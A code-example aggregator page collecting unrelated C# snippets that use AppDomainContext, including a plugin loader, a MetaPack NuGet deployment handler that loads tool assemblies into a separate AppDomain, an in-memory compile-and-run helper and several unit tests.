                }

                // Get the Plugin implementation from the main assembly and if there is only one, instantiate it
                List <Type> pluginTypes;
                var         mainAssembly = pluginInfo.Context.Domain.GetAssemblies().FirstOrDefault(a => a.Location == mainFile);
                if (mainAssembly == null)
                {
                    throw new ArtemisPluginException(pluginInfo, "Found no supported assembly in the plugins main file");
                }
                try
                {
                    pluginTypes = mainAssembly.GetTypes().Where(t => typeof(Plugin).IsAssignableFrom(t)).ToList();
                }
                catch (ReflectionTypeLoadException e)
                {
                    throw new ArtemisPluginException(pluginInfo, "Failed to initialize the plugin assembly", new AggregateException(e.LoaderExceptions));
                }

                if (pluginTypes.Count > 1)
                {
                    throw new ArtemisPluginException(pluginInfo, $"Plugin contains {pluginTypes.Count} implementations of Plugin, only 1 allowed");
                }
                if (pluginTypes.Count == 0)
                {
                    throw new ArtemisPluginException(pluginInfo, "Plugin contains no implementation of Plugin");
                }

                var pluginType = pluginTypes.Single();
                try
                {
                    var parameters = new IParameter[]
                    {
                        new ConstructorArgument("pluginInfo", pluginInfo),
                        new Parameter("PluginInfo", pluginInfo, false)
                    };
                    pluginInfo.Instance = (Plugin)_childKernel.Get(pluginType, constraint: null, parameters: parameters);
                }
                catch (Exception e)
                {
                    throw new ArtemisPluginException(pluginInfo, "Failed to instantiate the plugin", e);
                }

                _plugins.Add(pluginInfo);
                OnPluginLoaded(new PluginEventArgs(pluginInfo));
            }
        }
Beispiel #27
0
        public void RegisterForDeletion_Dispose_DeletesProvidedPath()
        {
            string path = Path.GetTempFileName();

            // Assert pre-conditions
            Assert.IsTrue(File.Exists(path));

            // Act
            using (var subject = new AppDomainContext(
                new AssemblyRewriter(_methodRewriterMock.Object, _moduleFilterMock.Object)))
            {
                subject.RegisterForDeletion(path);
            }

            // Assert post-conditions
            Assert.IsFalse(File.Exists(path));
        }
Beispiel #28
0
 public EmployeeServices()
 {
     Context = new AppDomainContext();
 }
Beispiel #29
0
 public VolService(AppDomainContext context, IMapper mapper)
 {
     _context = context;
     _mapper  = mapper;
 }
Beispiel #30
0
        protected virtual void OnPackageInstalling(object sender, PackageOperationEventArgs e)
        {
            MetaPackTrace.Info("NuGet package installation started");
            MetaPackTrace.Info("Package [{0}] version [{1}]", e.Package.Id, e.Package.Version);

            // save pachage to a local folder
            // cause package can't be serialized to be passed to a new app domain
            var tmpPackageFilePath = SavePackageAsTempFile(e.Package);

            MetaPackTrace.Info("Resolving solution tool package...");
            var toolPackage = ResolveSolutionToolPackage(e.Package);

            if (toolPackage == null || string.IsNullOrEmpty(toolPackage.Id))
            {
                throw new MetaPackException("Cannot resolve solution tool package");
            }

            MetaPackTrace.Info("Resolved solution tool package [{0}] version:[{1}]",
                               toolPackage.Id,
                               toolPackage.Version);

            // install main tool package
            var toolResolver = MetaPackServiceContainer.Instance.GetService <ToolResolutionService>();

            if (toolResolver == null)
            {
                toolResolver = new ToolResolutionService();
            }

            var toolRepo = toolResolver.ToolPackageManager.LocalRepository;

            MetaPackTrace.Info("Installing solution tool package...");

            foreach (var packageSource in toolResolver.PackageSources)
            {
                MetaPackTrace.Verbose(string.Format(" - using repo:[{0}]", packageSource));
            }

            toolResolver.ForceInstallPackages = ForceInstallToolPackages;
            toolResolver.InstallTool(toolPackage);

            MetaPackTrace.Info("Resolving additional tooling for tool package [{0}]", toolPackage.Id);

            // resolve main assembly, resolve additional tooling
            var toolNuGetPackage = toolResolver.ToolPackageManager.LocalRepository.FindPackage(toolPackage.Id);

            var assemblyHint    = toolPackage.AssemblyNameHint ?? toolPackage.Id + ".dll";
            var additionalTools = toolResolver.ResolveAdditionalTooling(toolRepo, toolNuGetPackage, assemblyHint);

            if (additionalTools.Count > 0)
            {
                MetaPackTrace.Info("Found [{0}] additional tools", additionalTools.Count);

                foreach (var tool in additionalTools)
                {
                    MetaPackTrace.Info("    Tool [{0}] version:[{1}]", tool.Id, tool.Version);
                }

                MetaPackTrace.Info("Installing additional tools...");
                toolResolver.InstallTools(additionalTools);

                MetaPackTrace.Info("Installing additional tools completed");
            }
            else
            {
                MetaPackTrace.Info("No additional tools were found");
            }

            // resolve package and deployment classes
            // by default lookup firs implementations of the following classes:
            //     * SolutionPackageServiceBase
            //     * SolutionPackageDeploymentServiceBase

            MetaPackTrace.Info("Resolving solution packaging implemetation");
            var packagingServiceClassFullName = toolResolver.ResolveClassImplementationFullName(toolRepo, toolNuGetPackage,
                                                                                                assemblyHint,
                                                                                                typeof(SolutionPackageServiceBase).Name);

            if (string.IsNullOrEmpty(packagingServiceClassFullName))
            {
                throw new MetaPackException(string.Format("Cannot find impl for service:[{0}]", typeof(SolutionPackageServiceBase).Name));
            }

            MetaPackTrace.Info("Resolved solution tool implemetation:[{0}]", packagingServiceClassFullName);

            MetaPackTrace.Info("Resolving solution deployment implemetation");
            var deploymentServiceFullName = toolResolver.ResolveClassImplementationFullName(toolRepo, toolNuGetPackage,
                                                                                            assemblyHint,
                                                                                            typeof(SolutionPackageDeploymentServiceBase).Name);

            if (string.IsNullOrEmpty(deploymentServiceFullName))
            {
                throw new MetaPackException(string.Format("Cannot find impl for service:[{0}]", typeof(SolutionPackageDeploymentServiceBase).Name));
            }

            MetaPackTrace.Info("Resolved solution deployment implemetation:[{0}]", deploymentServiceFullName);

            var toolAssemblies = toolResolver.ResolveAssemblyPaths(toolRepo, toolNuGetPackage, "net45", false);
            var toolAssembly   = toolAssemblies.FirstOrDefault(a => a.EndsWith(assemblyHint));

            MetaPackTrace.Verbose("Current AppDomain.ID:[{0}]", AppDomain.CurrentDomain.Id);

            MetaPackTrace.Info("Unpacking solution package...");
            using (var context = AppDomainContext.Create())
            {
                var detectedAdditionalToolAssemblies    = new List <string>();
                var detectedAdditionalToolAllAssemblies = new List <string>();

                CrossDomainTraceHelper.StartListening(context.Domain);

                // tool assembly
                MetaPackTrace.Verbose("Loading main tool assembly:[{0}]", toolAssembly);
                context.LoadAssembly(LoadMethod.LoadFile, toolAssembly);

                var deploymentOptions = new AppDomainDeploymentOptions
                {
                    PackageFilePath = tmpPackageFilePath,

                    PackagingServiceClassFullName  = packagingServiceClassFullName,
                    DeploymentServiceClassFullName = deploymentServiceFullName
                };

                foreach (var opt in SolutionOptions)
                {
                    deploymentOptions.AdditionalOptions.Add(new DeploymentOption
                    {
                        Name  = opt.Name,
                        Value = opt.Value
                    });
                }

                var result = RemoteFunc.Invoke(context.Domain, deploymentOptions, (ops) =>
                {
                    var ress = new AppDomainDeploymentOptions();

                    MetaPackTrace.Verbose("Extracting additional tools from solutuion package...");
                    MetaPackTrace.Verbose("Current AppDomain.Id:[{0}]", AppDomain.CurrentDomain.Id);

                    MetaPackTrace.Verbose("Package path:[{0}]", ops.PackageFilePath);

                    MetaPackTrace.Verbose("Packaging service impl:[{0}]", ops.PackagingServiceClassFullName);
                    MetaPackTrace.Verbose("Deployment service impl:[{0}]", ops.DeploymentServiceClassFullName);

                    var allClasses = AppDomain.CurrentDomain
                                     .GetAssemblies()
                                     .SelectMany(a => a.GetTypes());

                    var packagingClassType  = allClasses.FirstOrDefault(c => c.FullName.ToUpper() == ops.PackagingServiceClassFullName.ToUpper());
                    var deploymentClassType = allClasses.FirstOrDefault(c => c.FullName.ToUpper() == ops.DeploymentServiceClassFullName.ToUpper());

                    if (packagingClassType == null)
                    {
                        throw new MetaPackException(string.Format("Cannot find type by full name:[{0}]", ops.PackagingServiceClassFullName));
                    }

                    if (deploymentClassType == null)
                    {
                        throw new MetaPackException(string.Format("Cannot find type by full name:[{0}]", ops.DeploymentServiceClassFullName));
                    }

                    MetaPackTrace.Verbose("Creating packaging service implementation...");
                    var packagingService = Activator.CreateInstance(packagingClassType) as SolutionPackageServiceBase;

                    if (packagingService == null)
                    {
                        throw new MetaPackException("Cannot create instance of packaging service");
                    }

                    MetaPackTrace.Verbose("Creating deployment service implementation...");
                    var deploymentService = Activator.CreateInstance(deploymentClassType) as SolutionPackageDeploymentServiceBase;

                    if (deploymentService == null)
                    {
                        throw new MetaPackException("Cannot create instance of deployment service");
                    }

                    MetaPackTrace.Verbose(string.Format("Reading package:[{0}]", ops.PackageFilePath));
                    using (var packageStream = System.IO.File.OpenRead(ops.PackageFilePath))
                    {
                        MetaPackTrace.Verbose(string.Format("Unpacking package..."));
                        var solutionPackage = packagingService.Unpack(packageStream);

                        if (solutionPackage != null)
                        {
                            MetaPackTrace.Verbose(string.Format("Succesfully unpacked package."));
                        }

                        // deployment options
                        var solutionDeploymentOptions = new SolutionPackageProvisionOptions
                        {
                            SolutionPackage = solutionPackage,
                        };

                        // fill out deployment options
                        foreach (var option in ops.AdditionalOptions)
                        {
                            solutionDeploymentOptions.SetOptionValue(option.Name, option.Value);
                        }

                        // check for additional tools
                        MetaPackTrace.Verbose(string.Format("Checking additional tools for unpacked package..."));
                        if (deploymentService is SolutionPackageDeploymentService)
                        {
                            MetaPackTrace.Verbose(string.Format("Calling SolutionPackageDeploymentService.GetAdditionalToolPackages()..."));

                            var toolableDeploymentService = deploymentService as SolutionPackageDeploymentService;
                            var additonalTool2s           =
                                toolableDeploymentService.GetAdditionalToolPackages(solutionDeploymentOptions);

                            if (additonalTool2s.Count() > 0)
                            {
                                foreach (var tmp in additonalTool2s)
                                {
                                    ress.ToolAdditionalPackages.Add(new SolutionToolPackage
                                    {
                                        Id               = tmp.Id,
                                        Version          = tmp.Version,
                                        AssemblyNameHint = tmp.AssemblyNameHint
                                    });
                                }
                            }
                            else
                            {
                                MetaPackTrace.Verbose(string.Format("No additional tools were found"));
                            }
                        }
                        else
                        {
                            MetaPackTrace.Verbose(string.Format("No additional tools are found. Current deployment service isn't of type 'SolutionPackageDeploymentService'"));
                        }

                        MetaPackTrace.Verbose(string.Format("Deploying package..."));
                    }

                    return(ress);
                });

                // checking detected additional tools
                var detecedAdditionalTools = result.ToolAdditionalPackages;

                if (detecedAdditionalTools.Count > 0)
                {
                    MetaPackTrace.Info(string.Format("Solution package requires [{0}] additional tools", detecedAdditionalTools.Count));

                    foreach (var additionalTool in detecedAdditionalTools)
                    {
                        MetaPackTrace.Info(string.Format("    Installing additional tool [{0}] version [{1}]", additionalTool.Id, additionalTool.Version));

                        toolResolver.InstallTool(additionalTool.Id, additionalTool.Version);

                        IPackage addToolPackage = null;

                        if (!string.IsNullOrEmpty(additionalTool.Version))
                        {
                            addToolPackage = toolRepo.FindPackage(additionalTool.Id, new SemanticVersion(additionalTool.Version));
                        }
                        else
                        {
                            addToolPackage = toolRepo.FindPackage(additionalTool.Id);
                        }

                        var additionalToolAssemblies = toolResolver.ResolveAssemblyPaths(toolRepo, addToolPackage,
                                                                                         "net45", false);

                        if (!string.IsNullOrEmpty(additionalTool.AssemblyNameHint))
                        {
                            detectedAdditionalToolAssemblies.AddRange(additionalToolAssemblies
                                                                      .Where(p => p.ToUpper().Contains(additionalTool.AssemblyNameHint.ToUpper())));
                        }
                        else
                        {
                            detectedAdditionalToolAssemblies.AddRange(additionalToolAssemblies);
                        }

                        detectedAdditionalToolAllAssemblies.AddRange(
                            toolResolver.ResolveAssemblyPaths(toolRepo, addToolPackage, "net45", true)
                            );
                    }
                }

                if (detectedAdditionalToolAssemblies.Count > 0)
                {
                    MetaPackTrace.Info("Detected [{0}] assemblies to be loaded", detectedAdditionalToolAssemblies.Count);

                    // tool additional tool assemblies
                    foreach (var tt in detectedAdditionalToolAssemblies)
                    {
                        MetaPackTrace.Info("    Loading tool assembly [{0}]", toolAssembly);
                        context.LoadAssembly(LoadMethod.LoadFile, tt);
                    }
                }

                var paths = new List <string>();

                // add probing path for ALL tool assemblies
                foreach (var assemblyDir in detectedAdditionalToolAllAssemblies
                         .Select(p => Path.GetDirectoryName(p))
                         .Distinct()
                         .OrderBy(d => d))
                {
                    MetaPackTrace.Verbose("    Adding additional tool probing path [{0}]", assemblyDir);
                    paths.Add(assemblyDir);

                    context.AssemblyImporter.AddProbePath(assemblyDir);
                }

                // add probing path for ALL tool assemblies
                foreach (var assemblyDir in toolAssemblies
                         .Select(p => Path.GetDirectoryName(p))
                         .Distinct()
                         .OrderBy(d => d))
                {
                    MetaPackTrace.Verbose("    Adding tool probing path [{0}]", assemblyDir);
                    paths.Add(assemblyDir);

                    context.AssemblyImporter.AddProbePath(assemblyDir);
                }

                deploymentOptions.AssemblyProbingPaths = paths;

                var result2 = RemoteFunc.Invoke(context.Domain, deploymentOptions, (ops) =>
                {
                    AppDomain.CurrentDomain.AssemblyResolve += (sss, eee) =>
                    {
                        MetaPackTrace.Verbose(string.Format("AppDomain assembly:[{0}]", eee.RequestingAssembly));
                        MetaPackTrace.Verbose(string.Format("Assembly requested:[{0}]", eee.Name));

                        if (eee.Name.ToLower().Contains(".resources,"))
                        {
                            MetaPackTrace.Verbose("Resources assembly detected. Returnin NULL");
                            return(null);
                        }

                        MetaPackTrace.Verbose("Trying to load from local probing paths...");
                        var assemblyName = eee.Name.Split(',')[0] + ".dll";

                        foreach (var dir in ops.AssemblyProbingPaths)
                        {
                            var tmpAssemblyPath = Path.Combine(dir, assemblyName);

                            if (System.IO.File.Exists(tmpAssemblyPath))
                            {
                                MetaPackTrace.Verbose("Loaded from [{0}]", tmpAssemblyPath);
                                return(Assembly.LoadFile(tmpAssemblyPath));
                            }
                        }

                        MetaPackTrace.Verbose("Coudn't find assembly in local probing path. Trying to load from GAC.");

                        //// GAC call?
                        //if (eee.RequestingAssembly == null && !string.IsNullOrEmpty(eee.Name))
                        //{
                        //    var asm = Assembly.Load(eee.Name);

                        //    if (asm != null)
                        //        return asm;

                        //    MetaPackTrace.Verbose("Coudn't find assembly in GAC");
                        //}

                        //MetaPackTrace.Verbose("Cannot resolve requested assembly. Throwing exception.");

                        throw new Exception(string.Format("Cannot load requested assembly [{0}]. Requested by [{1}]",
                                                          eee.Name,
                                                          eee.RequestingAssembly));
                    };

                    MetaPackTrace.Verbose("Extracting additional tools from solutuion package...");
                    MetaPackTrace.Verbose("Current AppDomain.Id:[{0}]", AppDomain.CurrentDomain.Id);

                    MetaPackTrace.Verbose("Package path:[{0}]", ops.PackageFilePath);

                    MetaPackTrace.Verbose("Packaging service impl:[{0}]", ops.PackagingServiceClassFullName);
                    MetaPackTrace.Verbose("Deployment service impl:[{0}]", ops.DeploymentServiceClassFullName);

                    var allClasses = AppDomain.CurrentDomain
                                     .GetAssemblies()
                                     .SelectMany(a => a.GetTypes());

                    var packagingClassType  = allClasses.FirstOrDefault(c => c.FullName.ToUpper() == ops.PackagingServiceClassFullName.ToUpper());
                    var deploymentClassType = allClasses.FirstOrDefault(c => c.FullName.ToUpper() == ops.DeploymentServiceClassFullName.ToUpper());

                    if (packagingClassType == null)
                    {
                        throw new MetaPackException(string.Format("Cannot find type by full name:[{0}]", ops.PackagingServiceClassFullName));
                    }

                    if (deploymentClassType == null)
                    {
                        throw new MetaPackException(string.Format("Cannot find type by full name:[{0}]", ops.DeploymentServiceClassFullName));
                    }

                    MetaPackTrace.Verbose("Creating packaging service implementation...");
                    var packagingService = Activator.CreateInstance(packagingClassType) as SolutionPackageServiceBase;

                    if (packagingService == null)
                    {
                        throw new MetaPackException("Cannot create instance of packaging service");
                    }

                    MetaPackTrace.Verbose("Creating deployment service implementation...");
                    var deploymentService = Activator.CreateInstance(deploymentClassType) as SolutionPackageDeploymentServiceBase;

                    if (deploymentService == null)
                    {
                        throw new MetaPackException("Cannot create instance of deployment service");
                    }

                    // unpack package
                    // TODO
                    MetaPackTrace.Verbose(string.Format("Reading package:[{0}]", ops.PackageFilePath));
                    using (var packageStream = System.IO.File.OpenRead(ops.PackageFilePath))
                    {
                        MetaPackTrace.Verbose(string.Format("Unpacking package..."));
                        var solutionPackage = packagingService.Unpack(packageStream);

                        if (solutionPackage != null)
                        {
                            MetaPackTrace.Verbose(string.Format("Succesfully unpacked package."));
                        }

                        // deployment options
                        var solutionDeploymentOptions = new SolutionPackageProvisionOptions
                        {
                            SolutionPackage = solutionPackage,
                        };

                        // fill out deployment options
                        foreach (var option in ops.AdditionalOptions)
                        {
                            solutionDeploymentOptions.SetOptionValue(option.Name, option.Value);
                        }

                        MetaPackTrace.Info(string.Format("Deploying package..."));
                        deploymentService.Deploy(solutionDeploymentOptions);

                        MetaPackTrace.Info(string.Format("Package deployment cimpleted"));
                    }

                    return(ops);
                });
            }

            MetaPackTrace.Info("NuGet package installation completed");
        }
 public NavLinkRepository(
     AppDomainContext context)
     : base(context)
 {
 }
Beispiel #32
0
        /// <summary>
        /// Compile and Run CSharp code via Extensions.Extensions provide a contract.
        ///  - PreLaunch()
        ///  - RunCode()
        ///  - PostLaunch()
        /// Note: Does not take referenced assemblies (yet)
        /// </summary>
        /// <param name="SourceCode"></param>
        /// <param name="TypeToRun"></param>
        /// <param name="isExe"></param>
        /// <returns></returns>
        internal static bool CompileRunXSource(string SourceCode, String TypeToRun)
        {
            Console.WriteLine("Type to run: {0}", TypeToRun);
            // What assembly we are in, do not include on load;
            Assembly currentAssem = Assembly.GetExecutingAssembly();

            String[] referencedAssemblies =
                AppDomain.CurrentDomain.GetAssemblies()
                .Where(a => !a.FullName.StartsWith("mscorlib", StringComparison.InvariantCultureIgnoreCase))
                .Where(a => !a.FullName.StartsWith(currentAssem.FullName, StringComparison.InvariantCultureIgnoreCase))
                .Where(a => !a.IsDynamic)
                .Select(a => a.Location)
                .ToArray();

            if (ConfigUtil.DEBUG)
            {
                foreach (String ra in referencedAssemblies)
                {
                    Console.WriteLine("Including assembly: {0}", ra);
                }
            }
            using (var context = AppDomainContext.Create())
            {
                Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider(
                    new Dictionary <string, string>()
                {
                    { "CompilerVersion", "v4.0" }
                });

                CompilerParameters parameters = new CompilerParameters(
                    referencedAssemblies);

                parameters.GenerateInMemory   = true;
                parameters.GenerateExecutable = false;

                parameters.TempFiles       = new TempFileCollection(Path.GetTempPath(), true);
                parameters.CompilerOptions = "/unsafe+";
                String aPathName =
                    Path.Combine(Environment.CurrentDirectory, Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll"));
                parameters.OutputAssembly = aPathName;

                CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode);
                if (cr.Errors.HasErrors)
                {
                    foreach (String output in cr.Output)
                    {
                        Console.WriteLine(output);
                    }

                    return(false);
                }

                var type = cr.CompiledAssembly.GetType(TypeToRun);

                FileInfo fi = new FileInfo(aPathName);
                File.Delete(aPathName);

                object[] constructorArgs = new object[] { };
                try
                {
                    dynamic instance = Activator.CreateInstance(type, constructorArgs);
                    Console.WriteLine("\n--- Result ---");
                    instance.PreLaunch();  // The pre method should always be this <-
                    instance.RunCode();    // The method should always be this <-
                    instance.PostLaunch(); // The post method should always be this <-
                    instance = null;
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
            }
            return(true);
        }
        public MainPage()
        {
            InitializeComponent();

            context = new AppDomainContext();
        }
Beispiel #34
0
        public void InvokeFunc_RunsInOtherAppDomain()
        {
            var subject = new AppDomainContext(
                new AssemblyRewriter(_methodRewriterMock.Object, _moduleFilterMock.Object));
            var otherAppDomainId = subject.Invoke(() => AppDomain.CurrentDomain.Id);

            Assert.AreNotEqual(AppDomain.CurrentDomain.Id, otherAppDomainId);
        }